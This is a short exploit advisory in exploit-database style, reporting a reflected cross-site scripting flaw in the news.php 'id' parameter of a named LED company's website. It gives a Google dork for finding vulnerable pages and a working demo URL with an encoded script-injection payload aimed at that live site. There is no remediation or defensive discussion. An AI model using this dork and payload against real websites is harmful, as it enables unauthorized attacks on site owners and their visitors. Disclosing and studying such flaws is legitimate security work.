****************************
#Exploit Title:  cr-led - Cross Site Scripting Vulnerability (XSS)
#Date: 08/30/2022
#Exploit Author: Mahdi Nikan
#Vendor Homepage: http://www.cr-led.com
#Google Dork: news.php?id=
#Tested On: Ubuntu


Proof of Concept:
1-Search dork
2-http://www.cr-led.com/news.php?id=4" > [XSS Inject Payload ]

Demo: http://www.cr-led.com/news.php?id=4%3C?%20echo('%3CSCR)';echo('IPT%3Ealert(%22XSS%22)%3C/SCRIPT%3E');%20?%3E%0A

**************************************************
#Discovered by: Mahdi Nikan
#Email : mahdinikan67@gmail.com
**************************************************